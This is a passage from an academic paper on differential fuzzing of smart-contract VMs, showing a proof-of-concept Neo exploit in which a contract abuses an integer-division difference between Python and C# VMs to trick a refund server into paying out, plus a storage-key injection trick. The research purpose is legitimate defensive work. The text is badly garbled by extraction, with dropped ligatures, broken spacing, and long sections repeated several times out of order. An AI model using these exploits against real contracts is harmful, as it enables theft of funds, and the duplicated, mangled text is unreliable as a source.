rowed from other execution environments. In the case of Neo, smart
contracts can be implemented in many dierent languages, for ex-
ample, Python. If the behavior diers from the spec, developers may
introduce bugs. Their expectation of how the code should behave
diers from the actual implementation. A malicious developer can
abuse these dierent behaviors to hide backdoors in plain sight, as
even experienced Python developers have no chance to spot them.
6.2 PoC Attack on Neo VM Dierences
To show why VM discrepancies in Neo are an actual security issue,
we present an example attack for blockchain application dis.
First, we set up neo-local [
19
], a project to run a personal Neo
blockchain in Docker containers. It sets up a private Neo network
for testing, using the ocial C# node [
8
]. It also exposes a neo-
python [
21
] prompt to be used as a client to interact with the
blockchain. We set up a project that will use the Python VM to
execute the contracts locally and a C# VM that will be executing
contracts on the nodes. The attacks can be reproduced using the
version neo-local:0.12. With the neo-python prompt, it is possible to
compile and deploy the contract to the private chain. We depict this
in Listing 1. The resulting SmartContract.Contract.Create transac-
tion event also shows the deployed contract address, as well as the
transaction identier (line 8). After we deploy the contract, we can
invoke it using its address. A local test invocation, performed by
neo-python using the Python VM, returns the hex-encoded string
Python. After providing the wallet’s password, the transaction is
sent to the actual private blockchain network. Once the transaction
is broadcasted, the local wallet using neo-python will receive the
new transaction and execute it locally. As can be seen, the result of
the contract is indeed the string Python (line 22).
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
0.0 0.2 0.4 0.6 0.8 1.0 1.2 1.4 1.6
Execs Accumulated ×107
0
1
2
3
4
5
6
Unique Opcodes
Unique Opcode Diffs
EVM run (Parity & Geth)
(a) Dis on Opcodes
0.0 0.2 0.4 0.6 0.8 1.0 1.2 1.4 1.6
Execs Accumulated ×107
0
5
10
15
20
25
30
Unique Diffs
Unique Typehash Diffs
EVM run (Parity & Geth)
(b) Dis with new θ
(c) Total τfound in EVM
Figure 6: The results of our fuzzing run, comparing the Parity and Geth EVM VMs
with the propagated result in the chain when a block is forged.
Implementations between nodes on the chain must never diverge.
In a proof-of-work-based chain like Ethereum, a di between al-
ternative implementations with many active nodes can lead to a
split of the overall hashing power. Depending on the bug, the VM
implementation used by the majority mining power will keep the
main chain going, while the miners using the minority implemen-
tation may not agree and will therefore split o the chain, with a
dierent result for this transaction.
6.1.2 Blockchain Application Di. The issue described in the pre-
vious section can further be applied to applications built upon the
blockchain—including wallets, exchanges, DApps, and more. These
applications must understand new transactions and verify their
correctness by executing them. Local execution results must match
those on the main network. Else the application will suer from a
local chain split, resulting in a "wrong" view of the blockchain’s
state.
6.1.3 Contract Semantics Di. Language semantic dierences are
a discrepancy between the smart contract programming language
implementation and the original programming language. Semantic
dis happen if smart contracts can be written in languages bor-
rowed from other execution environments. In the case of Neo, smart
contracts can be implemented in many dierent languages, for ex-
ample, Python. If the behavior diers from the spec, developers may
introduce bugs. Their expectation of how the code should behave
diers from the actual implementation. A malicious developer can
abuse these dierent behaviors to hide backdoors in plain sight, as
even experienced Python developers have no chance to spot them.
6.2 PoC Attack on Neo VM Dierences
To show why VM discrepancies in Neo are an actual security issue,
we present an example attack for blockchain application dis.
First, we set up neo-local [
19
], a project to run a personal Neo
blockchain in Docker containers. It sets up a private Neo network
for testing, using the ocial C# node [
8
]. It also exposes a neo-
python [
21
] prompt to be used as a client to interact with the
blockchain. We set up a project that will use the Python VM to
execute the contracts locally and a C# VM that will be executing
contracts on the nodes. The attacks can be reproduced using the
version neo-local:0.12. With the neo-python prompt, it is possible to
compile and deploy the contract to the private chain. We depict this
in Listing 1. The resulting SmartContract.Contract.Create transac-
tion event also shows the deployed contract address, as well as the
transaction identier (line 8). After we deploy the contract, we can
invoke it using its address. A local test invocation, performed by
neo-python using the Python VM, returns the hex-encoded string
Python. After providing the wallet’s password, the transaction is
sent to the actual private blockchain network. Once the transaction
is broadcasted, the local wallet using neo-python will receive the
new transaction and execute it locally. As can be seen, the result of
the contract is indeed the string Python (line 22).
1neo>w al l et open neo -privnet .wallet
2neo>s c bu i ld /smart -contracts /div .p y
3Sav ed o ut pu t to /smart -contracts /div .avm
4neo>s c dep lo y /smart -contracts /div .avm False False False 00 0 7
5Pl e as e f i l l o ut the fo l lo w in g co n t r ac t d e t a i l s :
6[Co nt ra ct Name] > DIV PoC
7[ . . . ]
8[I19 1 00 6 1 3 : 2 4 : 4 6 EventHub: 6 2 ] [ SmartContract .Contract .Create ][6562] [0
f904e38fb40891daf11685a29f25a6716d331e7] [ t x 0
c86ab2fcce081f28259a9018e78dc8f8681046dfa06f414df4e521e28978657] { '
type':'InteropInterface','value ': { 'v er si o n ': 0 , 'hash ':'0
x0f904e38fb40891daf11685a29f25a6716d331e7','script':'58 c56b516a0052
[...]6c7566006c7566','parameters ': [ 'Signature'] , 'returntype':'
String','name':'DIV PoC ','code_version':' ' ,'author':'' ,'email ':
'' ,'description ':'' ,'properties ': { 'st o ra ge ':False ,'
dynamic_invoke':False ,'p ay ab le ':False } } }
9[ . . . ]
10 neo>s c in vok e 0x0f904e38fb40891daf11685a29f25a6716d331e7
11 [ . . . ]
12 ------------------------------------------------------------
13 Te s t i nv ok e s u c c e s s f u l
14 To tal op er ati ons : 3 9
15 Re s ul t s [ { 'type':'ByteArray ','value':'507974686 f6e'} ]
16 Inv ok e TX GAS co s t : 0 . 0
17 Inv oke TX f ee : 0 . 0 0 0 1
18 ------------------------------------------------------------
19 [password] > ∗∗∗
20 [ . . . ]
21 Rel ay ed Tx : 7740d42b12ecf4f7c9d92222b6eb629a2757c37e47b2cb6dffca3242b7ed98d8
22 [I19 1 00 6 1 3 : 2 5 : 0 3 EventHub: 6 2 ] [ SmartContract .Execution .Success ][6565] [0
f904e38fb40891daf11685a29f25a6716d331e7] [ t x 7740
d42b12ecf4f7c9d92222b6eb629a2757c37e47b2cb6dffca3242b7ed98d8] { 'type ':
'Array','value': [ { 'type ':'ByteArray','value ':b'Python'} ] }
23 [ . . . ]
24
Listing 1: DIV test contract deploy
To see what happened in the actual node running the C# Neo
VM, the JSON RPC endpoint exposed by one of the main nodes can
be used. This will return the result hex-encoded "437368617270"—it
returned the string Csharp instead.
Locally, the Python VM came to a dierent result when executing
the contract, compared to the real C# VMs running on the consensus
nodes!
To see what happened in the actual node running the C# Neo
VM, the JSON RPC endpoint exposed by one of the main nodes can
be used. This will return the result hex-encoded "437368617270"—it
returned the string Csharp instead.
Locally, the Python VM came to a dierent result when executing
the contract, compared to the real C# VMs running on the consensus
nodes!
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
Simple Di Listing 2 shows a Neo smart contract exploiting a
dierence in integer division identied in Sect. 6.5.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
Simple Di Listing 2 shows a Neo smart contract exploiting a
dierence in integer division identied in Sect. 6.5.
1de f main ( ) :
2a= 1
3b= - 2
4c=a/b
5i f c= = - 1 :
6re tu r n "P y th o n "
7else :# == 0
8re tu r n "C s ha r p "
Listing 2: DIV discrepancy exploit in a Python smart
contract
The code in this minimal example will return the string "Python"
or "Csharp" depending on the VM execution context. It exploits an
integer division dierence. This would already suce to confuse
neo DApps. We list other dierences in Neo, found by NeoDi, in
Sect. 6.5.
Complex PoC Attack
For our PoC, we target a typical applica-
tion that uses neo-python to react to certain events of the blockchain,
such as crowdsales, general operations of tokens, or even exchanges.
We successfully implemented this attack.
There are three components to this attack: the attacker’s smart
contract, the attacked PWN token representing any token smart
contract, and server.py, an application built using neo-python for
smart contract evaluation.
The server.py interacts with PWN token. For that, it uses neo-
python to subscribe to events created by the PWN token contract.
The script listens for transfer events, specically those events where
tokens are sent to the owner of this contract. The idea of this appli-
cation is to facilitate refunds of bought tokens—essentially selling
PWN tokens back to the owner in exchange for NEO. Because Neo
smart contracts can receive NEO but not send it with smart contract
code, transferring NEO has to be done either manually or by using
an external application, like server.py in this example.
We provide the relevant code in Appendix A.
(1) attack.py The attacker smart contract
(2) nep5.py
PWN token representing any token smart contract
(3) server.py
- An application built with neo-python as the tar-
get
Listing 3 shows how to setup and run the correct version.
1roo t@h os t $ g i t c lo ne h tt p s :// g i th u b . co m / C it y O fZ i o n / ne o - l oc a l /
2roo t@h ost $ c d neo -l o c a l
3roo t@h os t $ g i t ch ec ko ut 0.12
4roo t@ho st $ make pu ll -i mag es
5roo t@ho st $ make se tu p -network
6
Listing 3: Setup neo-local for PoC attack
The PWN token in our PoC attack is based on an example token
smart contract for Neo and follows the NEP-5 token standard [
1
].
We extended the contract with usual functionality: to mint initial
tokens for the owner and to be able to buy tokens from the owner
with NEO.
After the contract is deployed, the server.py can be launched.
The owner in this example is the address
AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y
.
We assume a user bought PWN tokens with NEO previously but
would like to return them now. Once the user transfers PWN tokens
back to the owner, the server.py script gets notied and executes
a transaction to send an equivalent amount of NEO back to the
sender.
Alice will serve as the attacker. She will buy 1bil PWN tokens by
invoking the buy operation and attaching 10 NEO to the transaction.
Summarized, the steps so far are as follows:
PWN token contract is deployed and initialized
server.py is observing PWN token transfer events
Alice bought 1bil PWN tokens for 10 NEO
Alice can now implement a malicious attacker contract using
the discrepancy in the integer division. The attack.py contract in
Listing 4 will initiate a token transfer from a given address to a
dierent address. Depending on the execution context, it will use
the address given in real_to or fake_to.
Attack Execution
After
Alice has deployed the attack.py contract, Alice will transfer her
0
.
1bil of PWN tokens to this contract. This transfer is necessary
because the attack.py contract will initiate the token refund and
thus needs to own tokens to transfer them. When Alice now invokes
the attack contract, dierent logic is executed depending on the
VM environment. In neo-python, used by server.py, it will create a
token transfer back to the owner—thus triggering a refund. In the
actual chain using the C# Neo VM, however, the tokens are simply
transferred back to Alice!
Once the attack is complete, the balance checks using neo-python
shows that Alice has only 0
.
9bil PWN tokens left and the 0
.
1bil
were successfully returned to the owner. This means that server.py
will refunded 1 NEO back to the attacker in the actual chain, even
though no tokens arrived on the main Neo chain, due to the VM
dierence, found by NeoDi. Indeed, querying the C# VMs’ JSON
RPC endpoint reveals that Alice still owns all her initial 1
.
0bil PWN
tokens. However, the NEO transfer still occurred because the refund
application assumes it happened.
1from boa .interop .Neo .TriggerType import A pp l ic at io n ,Verification
2from boa .interop .Neo .App import RegisterAppCall
3from boa .interop .Neo .Run time import GetTrigger
4
5tokenContract =RegisterAppCall ('36cdd5a63533811cd117a9999032a0e6eee5d6e0','
operation','args')
6
7de f Main (a rgs ) :
8trigger =GetTrigger ( )
9i f trigger == Verification ( ) :
10 # ev er yb od y w il l be ab le t o sp en d th e NE O on t hi s co nt ra c t
11 re tu r n Tr ue
12
13 e l i f trigger == A ppl ica tio n () :
14 fr =ar gs [0]
15 real_to =ar gs [1]
16 fake_to =ar gs [2]
17 amount =a rgs [ 3 ]
18
19 # DIV di sc r ep an cy se tu p
20 a= 1
21 b= - 3
22 c=a/b
23
24 i f c= = - 1 :
25 tokenContract ('transfer', [ fr ,f ak e_to ,amo unt ] )
26 re tu r n "P y th o n "
27 else :
28 tokenContract ('transfer', [ fr ,r e al _ t o ,amount ] )
29 re tu r n "C s ha r p "
Listing 4: attack.py—DIV discrepancy exploit in a Python
smart contract
Tbl. 1 shows the nal result. In both worlds, the transfer of NEO
was recorded, Alice received 1 NEO. While the owner believes in
the neo-python false truth that Alice returned the tokens, other
entities using C# know that Alice still owns them. The owner will
realize the attack only after the Python implementation xes the
discrepancy. Because of the widespread use of neo-python at the
time of our initial report, many systems may have been aected
The code in this minimal example will return the string "Python"
or "Csharp" depending on the VM execution context. It exploits an
integer division dierence. This would already suce to confuse
neo DApps. We list other dierences in Neo, found by NeoDi, in
Sect. 6.5.
Complex PoC Attack
For our PoC, we target a typical applica-
tion that uses neo-python to react to certain events of the blockchain,
such as crowdsales, general operations of tokens, or even exchanges.
We successfully implemented this attack.
There are three components to this attack: the attacker’s smart
contract, the attacked PWN token representing any token smart
contract, and server.py, an application built using neo-python for
smart contract evaluation.
The server.py interacts with PWN token. For that, it uses neo-
python to subscribe to events created by the PWN token contract.
The script listens for transfer events, specically those events where
tokens are sent to the owner of this contract. The idea of this appli-
cation is to facilitate refunds of bought tokens—essentially selling
PWN tokens back to the owner in exchange for NEO. Because Neo
smart contracts can receive NEO but not send it with smart contract
code, transferring NEO has to be done either manually or by using
an external application, like server.py in this example.
We provide the relevant code in Appendix A.
(1) attack.py The attacker smart contract
(2) nep5.py
PWN token representing any token smart contract
(3) server.py
- An application built with neo-python as the tar-
get
Listing 3 shows how to setup and run the correct version.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
Simple Di Listing 2 shows a Neo smart contract exploiting a
dierence in integer division identied in Sect. 6.5.
1de f main ( ) :
2a= 1
3b= - 2
4c=a/b
5i f c= = - 1 :
6re tu r n "P y th o n "
7else :# == 0
8re tu r n "C s ha r p "
Listing 2: DIV discrepancy exploit in a Python smart
contract
The code in this minimal example will return the string "Python"
or "Csharp" depending on the VM execution context. It exploits an
integer division dierence. This would already suce to confuse
neo DApps. We list other dierences in Neo, found by NeoDi, in
Sect. 6.5.
Complex PoC Attack
For our PoC, we target a typical applica-
tion that uses neo-python to react to certain events of the blockchain,
such as crowdsales, general operations of tokens, or even exchanges.
We successfully implemented this attack.
There are three components to this attack: the attacker’s smart
contract, the attacked PWN token representing any token smart
contract, and server.py, an application built using neo-python for
smart contract evaluation.
The server.py interacts with PWN token. For that, it uses neo-
python to subscribe to events created by the PWN token contract.
The script listens for transfer events, specically those events where
tokens are sent to the owner of this contract. The idea of this appli-
cation is to facilitate refunds of bought tokens—essentially selling
PWN tokens back to the owner in exchange for NEO. Because Neo
smart contracts can receive NEO but not send it with smart contract
code, transferring NEO has to be done either manually or by using
an external application, like server.py in this example.
We provide the relevant code in Appendix A.
(1) attack.py The attacker smart contract
(2) nep5.py
PWN token representing any token smart contract
(3) server.py
- An application built with neo-python as the tar-
get
Listing 3 shows how to setup and run the correct version.
1roo t@h os t $ g i t c lo ne h tt p s :// g i th u b . co m / C it y O fZ i o n / ne o - l oc a l /
2roo t@h ost $ c d neo -l o c a l
3roo t@h os t $ g i t ch ec ko ut 0.12
4roo t@ho st $ make pu ll -i mag es
5roo t@ho st $ make se tu p -network
6
Listing 3: Setup neo-local for PoC attack
The PWN token in our PoC attack is based on an example token
smart contract for Neo and follows the NEP-5 token standard [
1
].
We extended the contract with usual functionality: to mint initial
tokens for the owner and to be able to buy tokens from the owner
with NEO.
After the contract is deployed, the server.py can be launched.
The owner in this example is the address
AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y
.
We assume a user bought PWN tokens with NEO previously but
would like to return them now. Once the user transfers PWN tokens
back to the owner, the server.py script gets notied and executes
a transaction to send an equivalent amount of NEO back to the
sender.
Alice will serve as the attacker. She will buy 1bil PWN tokens by
invoking the buy operation and attaching 10 NEO to the transaction.
Summarized, the steps so far are as follows:
PWN token contract is deployed and initialized
server.py is observing PWN token transfer events
Alice bought 1bil PWN tokens for 10 NEO
Alice can now implement a malicious attacker contract using
the discrepancy in the integer division. The attack.py contract in
Listing 4 will initiate a token transfer from a given address to a
dierent address. Depending on the execution context, it will use
the address given in real_to or fake_to.
Attack Execution
After
Alice has deployed the attack.py contract, Alice will transfer her
0
.
1bil of PWN tokens to this contract. This transfer is necessary
because the attack.py contract will initiate the token refund and
thus needs to own tokens to transfer them. When Alice now invokes
the attack contract, dierent logic is executed depending on the
VM environment. In neo-python, used by server.py, it will create a
token transfer back to the owner—thus triggering a refund. In the
actual chain using the C# Neo VM, however, the tokens are simply
transferred back to Alice!
Once the attack is complete, the balance checks using neo-python
shows that Alice has only 0
.
9bil PWN tokens left and the 0
.
1bil
were successfully returned to the owner. This means that server.py
will refunded 1 NEO back to the attacker in the actual chain, even
though no tokens arrived on the main Neo chain, due to the VM
dierence, found by NeoDi. Indeed, querying the C# VMs’ JSON
RPC endpoint reveals that Alice still owns all her initial 1
.
0bil PWN
tokens. However, the NEO transfer still occurred because the refund
application assumes it happened.
1from boa .interop .Neo .TriggerType import A pp l ic at io n ,Verification
2from boa .interop .Neo .App import RegisterAppCall
3from boa .interop .Neo .Run time import GetTrigger
4
5tokenContract =RegisterAppCall ('36cdd5a63533811cd117a9999032a0e6eee5d6e0','
operation','args')
6
7de f Main (a rgs ) :
8trigger =GetTrigger ( )
9i f trigger == Verification ( ) :
10 # ev er yb od y w il l be ab le t o sp en d th e NE O on t hi s co nt ra c t
11 re tu r n Tr ue
12
13 e l i f trigger == A ppl ica tio n () :
14 fr =ar gs [0]
15 real_to =ar gs [1]
16 fake_to =ar gs [2]
17 amount =a rgs [ 3 ]
18
19 # DIV di sc r ep an cy se tu p
20 a= 1
21 b= - 3
22 c=a/b
23
24 i f c= = - 1 :
25 tokenContract ('transfer', [ fr ,f ak e_to ,amo unt ] )
26 re tu r n "P y th o n "
27 else :
28 tokenContract ('transfer', [ fr ,r e al _ t o ,amount ] )
29 re tu r n "C s ha r p "
Listing 4: attack.py—DIV discrepancy exploit in a Python
smart contract
Tbl. 1 shows the nal result. In both worlds, the transfer of NEO
was recorded, Alice received 1 NEO. While the owner believes in
the neo-python false truth that Alice returned the tokens, other
entities using C# know that Alice still owns them. The owner will
realize the attack only after the Python implementation xes the
discrepancy. Because of the widespread use of neo-python at the
time of our initial report, many systems may have been aected
The PWN token in our PoC attack is based on an example token
smart contract for Neo and follows the NEP-5 token standard [
1
].
We extended the contract with usual functionality: to mint initial
tokens for the owner and to be able to buy tokens from the owner
with NEO.
After the contract is deployed, the server.py can be launched. The
owner in this example is the address
AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y
. We assume a user bought PWN tokens with NEO previously but
would like to return them now. Once the user transfers PWN tokens
back to the owner, the server.py script gets notied and executes
a transaction to send an equivalent amount of NEO back to the
sender.
Alice will serve as the attacker. She will buy 1bil PWN tokens by
invoking the buy operation and attaching 10 NEO to the transaction.
Summarized, the steps so far are as follows:
PWN token contract is deployed and initialized
server.py is observing PWN token transfer events
Alice bought 1bil PWN tokens for 10 NEO
Alice can now implement a malicious attacker contract using
the discrepancy in the integer division. The attack.py contract in
Listing 4 will initiate a token transfer from a given address to a
dierent address. Depending on the execution context, it will use
the address given in real_to or fake_to.
Attack Execution
After
Alice has deployed the attack.py contract, Alice will transfer her
0
.
1bil of PWN tokens to this contract. This transfer is necessary
because the attack.py contract will initiate the token refund and
thus needs to own tokens to transfer them. When Alice now invokes
the attack contract, dierent logic is executed depending on the
VM environment. In neo-python, used by server.py, it will create a
token transfer back to the owner—thus triggering a refund. In the
actual chain using the C# Neo VM, however, the tokens are simply
transferred back to Alice!
Once the attack is complete, the balance checks using neo-python
shows that Alice has only 0
.
9bil PWN tokens left and the 0
.
1bil
were successfully returned to the owner. This means that server.py
will refunded 1 NEO back to the attacker in the actual chain, even
though no tokens arrived on the main Neo chain, due to the VM
dierence, found by NeoDi. Indeed, querying the C# VMs’ JSON
RPC endpoint reveals that Alice still owns all her initial 1
.
0bil PWN
tokens. However, the NEO transfer still occurred because the refund
application assumes it happened.
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
Simple Di Listing 2 shows a Neo smart contract exploiting a
dierence in integer division identied in Sect. 6.5.
1de f main ( ) :
2a= 1
3b= - 2
4c=a/b
5i f c= = - 1 :
6re tu r n "P y th o n "
7else :# == 0
8re tu r n "C s ha r p "
Listing 2: DIV discrepancy exploit in a Python smart
contract
The code in this minimal example will return the string "Python"
or "Csharp" depending on the VM execution context. It exploits an
integer division dierence. This would already suce to confuse
neo DApps. We list other dierences in Neo, found by NeoDi, in
Sect. 6.5.
Complex PoC Attack
For our PoC, we target a typical applica-
tion that uses neo-python to react to certain events of the blockchain,
such as crowdsales, general operations of tokens, or even exchanges.
We successfully implemented this attack.
There are three components to this attack: the attacker’s smart
contract, the attacked PWN token representing any token smart
contract, and server.py, an application built using neo-python for
smart contract evaluation.
The server.py interacts with PWN token. For that, it uses neo-
python to subscribe to events created by the PWN token contract.
The script listens for transfer events, specically those events where
tokens are sent to the owner of this contract. The idea of this appli-
cation is to facilitate refunds of bought tokens—essentially selling
PWN tokens back to the owner in exchange for NEO. Because Neo
smart contracts can receive NEO but not send it with smart contract
code, transferring NEO has to be done either manually or by using
an external application, like server.py in this example.
We provide the relevant code in Appendix A.
(1) attack.py The attacker smart contract
(2) nep5.py
PWN token representing any token smart contract
(3) server.py
- An application built with neo-python as the tar-
get
Listing 3 shows how to setup and run the correct version.
1roo t@h os t $ g i t c lo ne h tt p s :// g i th u b . co m / C it y O fZ i o n / ne o - l oc a l /
2roo t@h ost $ c d neo -l o c a l
3roo t@h os t $ g i t ch ec ko ut 0.12
4roo t@ho st $ make pu ll -i mag es
5roo t@ho st $ make se tu p -network
6
Listing 3: Setup neo-local for PoC attack
The PWN token in our PoC attack is based on an example token
smart contract for Neo and follows the NEP-5 token standard [
1
].
We extended the contract with usual functionality: to mint initial
tokens for the owner and to be able to buy tokens from the owner
with NEO.
After the contract is deployed, the server.py can be launched.
The owner in this example is the address
AK2nJJpJr6o664CWJKi1QRXjqeic2zRp8y
.
We assume a user bought PWN tokens with NEO previously but
would like to return them now. Once the user transfers PWN tokens
back to the owner, the server.py script gets notied and executes
a transaction to send an equivalent amount of NEO back to the
sender.
Alice will serve as the attacker. She will buy 1bil PWN tokens by
invoking the buy operation and attaching 10 NEO to the transaction.
Summarized, the steps so far are as follows:
PWN token contract is deployed and initialized
server.py is observing PWN token transfer events
Alice bought 1bil PWN tokens for 10 NEO
Alice can now implement a malicious attacker contract using
the discrepancy in the integer division. The attack.py contract in
Listing 4 will initiate a token transfer from a given address to a
dierent address. Depending on the execution context, it will use
the address given in real_to or fake_to.
Attack Execution
After
Alice has deployed the attack.py contract, Alice will transfer her
0
.
1bil of PWN tokens to this contract. This transfer is necessary
because the attack.py contract will initiate the token refund and
thus needs to own tokens to transfer them. When Alice now invokes
the attack contract, dierent logic is executed depending on the
VM environment. In neo-python, used by server.py, it will create a
token transfer back to the owner—thus triggering a refund. In the
actual chain using the C# Neo VM, however, the tokens are simply
transferred back to Alice!
Once the attack is complete, the balance checks using neo-python
shows that Alice has only 0
.
9bil PWN tokens left and the 0
.
1bil
were successfully returned to the owner. This means that server.py
will refunded 1 NEO back to the attacker in the actual chain, even
though no tokens arrived on the main Neo chain, due to the VM
dierence, found by NeoDi. Indeed, querying the C# VMs’ JSON
RPC endpoint reveals that Alice still owns all her initial 1
.
0bil PWN
tokens. However, the NEO transfer still occurred because the refund
application assumes it happened.
1from boa .interop .Neo .TriggerType import A pp l ic at io n ,Verification
2from boa .interop .Neo .App import RegisterAppCall
3from boa .interop .Neo .Run time import GetTrigger
4
5tokenContract =RegisterAppCall ('36cdd5a63533811cd117a9999032a0e6eee5d6e0','
operation','args')
6
7de f Main (a rgs ) :
8trigger =GetTrigger ( )
9i f trigger == Verification ( ) :
10 # ev er yb od y w il l be ab le t o sp en d th e NE O on t hi s co nt ra c t
11 re tu r n Tr ue
12
13 e l i f trigger == A ppl ica tio n () :
14 fr =ar gs [0]
15 real_to =ar gs [1]
16 fake_to =ar gs [2]
17 amount =a rgs [ 3 ]
18
19 # DIV di sc r ep an cy se tu p
20 a= 1
21 b= - 3
22 c=a/b
23
24 i f c= = - 1 :
25 tokenContract ('transfer', [ fr ,f ak e_to ,amo unt ] )
26 re tu r n "P y th o n "
27 else :
28 tokenContract ('transfer', [ fr ,r e al _ t o ,amount ] )
29 re tu r n "C s ha r p "
Listing 4: attack.py—DIV discrepancy exploit in a Python
smart contract
Tbl. 1 shows the nal result. In both worlds, the transfer of NEO
was recorded, Alice received 1 NEO. While the owner believes in
the neo-python false truth that Alice returned the tokens, other
entities using C# know that Alice still owns them. The owner will
realize the attack only after the Python implementation xes the
discrepancy. Because of the widespread use of neo-python at the
time of our initial report, many systems may have been aected
Tbl. 1 shows the nal result. In both worlds, the transfer of NEO
was recorded, Alice received 1 NEO. While the owner believes in
the neo-python false truth that Alice returned the tokens, other
entities using C# know that Alice still owns them. The owner will
realize the attack only after the Python implementation xes the
Uncovering Smart Contract VM Bugs
Via Dierential Fuzzing ROOTS’21, November 18–19, 2021, Vienna, Austria
discrepancy. Because of the widespread use of neo-python at the
time of our initial report, many systems may have been aected
at the time. This shows the security benets continuous NeoDi
executions can provide.
Funds Python VM C# VM
Alice NEO 1.0 NEO 1.0 NEO
Owner NEO 9.0 NEO 9.0 NEO
Alice PWN 0.9bil. PWN 1.0 bil. PWN
Owner PWN 999999.1bil. PWN 999999.0bil. PWN
Table 1: Final state as seen Python vs. C#
6.3 Ethereum VM Dierences
NeoFuzz initially reported dis in 6 opcodes between go-ethereum
(geth) and openethereum. However, triaging showed that all of
them could be traced back to dierences in the initial conguration
of the individual VM. Upon triaging and further inspection, the
root cause becomes clear for all of them. This highlights one of
the biggest challenges during dierential fuzzing on VMs. While
both VMs correctly implement the EVM specs, they need to be
congured in the same way. The test setups may run on an empty
chain, on a chain that has a genesis block, or on a pre-lled test
chain.
The ding opcodes for ethereum were:
BALANCE(0x31)
EXTCODESIZE(0x3b)
EXTCODEHASH(0x3f)
DIFFICULTY(0x44)
GASLIMIT(0x45)
CHAINID(0x46)
GASLIMIT is an opcode that does not take any input and simply
pushes the congured global block gas limit onto the stack. The
VMs are congured with slightly dierent congurations by default,
causing both to report a dierent value. CHAINID and DIFFICULTY
have the same root cause. The remaining three opcodes return
information about a given address, and in our initial fuzzing cong-
uration, openethereum was initialized with precongured accounts,
while go-ethereum was not. We consider this part of the iterative
process when fuzzing for VM dierentials and thus decided to
highlight this experience in this paper. To build a clean dierential
fuzzer on top of NeoDi, researchers need to address potential false
positive dis iteratively. They can identify these positives quickly,
thanks to easy triaging. Eventually, each target VM can be adjusted
to build a clean dierential fuzzer on top of NeoDi.
6.4 Language Semantics Divergence
Neo prominently advertises the support of dierent program-
ming languages to develop smart contracts [
10
]. Each programming
language exposes a unique syntax but also dierent semantics. De-
velopers know how to write them syntactically correct and have
a conscious or unconscious mental model of language behaviors.
Since the low-complexity Neo smart contract VM is less powerful
than the counterpart the languages were built for, the language se-
mantics cannot be preserved without sacricing eciency. Using a
custom mutator for NeoDi, we generate Python code and uncover
semantic gaps.
6.4.1 Semantic Dierences Found With NeoDi. While many typi-
cal Python features like range() and oats are not supported by the
compiler neo-boa [
20
], these dierences get reported at compile-
time, thus do not cause unintended security issues. However, with
our custom mutator NeoPyDi, we found operations that success-
fully compile but behave incorrectly, confusing programmers and
code reviewers. The following hand-picked and minimized exam-
ples are based on the large number of semantic dierences found
by NeoDi with the Python custom mutator. It is challenging to
assess the security impact of semantic errors, but they can lead to
programming mistakes, causing insecure contracts.
6.4.2 String Concatenation. In Python, the
+
operator is compiled
to the Python opcode
pyop.BINARY_ADD
. NeoDi found that the NeoPy-
thon compiler, neo-boa, simply translates
+
to a Neo VM
VMOp.ADD
,
an integer addition.
This VMOp.ADD pops two elements from the evaluation stack
and casts them to an integer. Both values are added together as
integers and pushed back onto the stack. This means the Neo VM
implementation of ADD is strictly a mathematical integer addition.
In Python however, the
+
operator is a call to
__add__
on the rst
parameter, with special handling for certain types. Executing an
addition of
"XXX" +"!!!"
in CPython will result in the combined
string
"XXX!!!"
. An execution as Neo smart contract results in
"yyy"
,
the result of an integer addition of both values, interpreted as string.
This shows that regular CPython and Python executed as a Neo
smart contract behave dierently for
+
operations. The ocial Neo
documentation mentions an alternative
concat()
function. Still, we
were even able to nd this mistake in public projects on GitHub [
5
].
This can have serious security consequences, as discussed in 6.4.4.
6.4.3 String Multiplication. String Multiplication is an interesting
semantic di, as the semantics are not even consistent for the smart
contracts themselves but depend on the multiplicand. In Python the
expression
"X"*21
is evaluated to
"XXXXXXXXXXXXXXXXXXXXX"
. However,
when this code is compiled and executed by the Neo VM, the result
will be the integer 0
x
738, similar to the string concatenation bug.
The Python expression
"X"*201
, when executed by the Neo VM, will
be the expected
"XXXXXXXXXXXXXXXXXXXX"
, suddenly abiding by regular
Python semantics. Here, we see an optimization of the Python built-
in function
compile()
, which compiles the source code to Python
bytecode in the rst step of the neo-boa compiler. When it is shorter
than 20 for the compiler tested, the compiler already evaluates the
multiplication and emits a constant loading of the result.
6.4.4 Potential Semantic Vulnerability. The previous examples for
multiply and addition show, that strings can be interpreted as
integers—the Neo VM will cast types whenever necessary.
To highlight how semantic dierences like this can lead to secu-
rity issues, we focus on string concatenation in this section. The
Neo Foundation released a statement about an external nding by
Red4Sec called Storage injection vulnerability [
11
]. It highlights a
1Note that it multiplies 20 instead of the 21 from the previous multiplication
ROOTS’21, November 18–19, 2021, Vienna, Austria Maier et al.
widespread programming anti-pattern with security implications,
which was part of the ocial example code. The root of this is-
sue is the design decision to use key-value storage and expose
it directly to the developer. In Neo smart contracts, the author
is responsible for isolating keys for dierent purposes. Typically,
unique prexes are used to prevent collisions and separate con-
texts. If developers do not use prexes for keys but directly pass
user-controlled input as key to the storage functions, an attacker
can intentionally collide with other keys and overwrite internal
storage variables. The recommended way to avoid this issue is to
prex all storage keys to create a separate scope and to use pre-
xes to prevent collisions. For example when a NEP-5 token con-
tract modies the balance of an address, instead of directly passing
in user controlled data as the key—Storage.Put("user_controlled")
a prex is added—Storage.Put("BALANCE_user_controlled"). With
such a prex, an attacker could not simply send tokens to an ar-
bitrary byte sequence and overwrite other variables stored in the
storage. However, when the key is prexed using string concate-
nation with the +operator, instead of the recommended concat()
function, the result can still be vulnerable! In such a case an at-
tacker, who wants to target a specic storage key, can simply
sub-
tract the prex string
—interpreted as an integer—from the tar-
geted key:
(tarдeted_st oraдe_keyin t eдe r pr e f ixi nteдe r )st r in д=
user_controlleds t r in д
As the contract and prex are public in the blockchain, a con-
tract with this bug remains vulnerable to the storage injection. We
could nd an example betting contract that makes this mistake on
GitHub [
4
]. This shows that under-documented semantic gaps can
lead to actual security issues.
Developers have to learn a new programming language that
looks like a familiar language but behaves dierently in undocu-
mented ways.
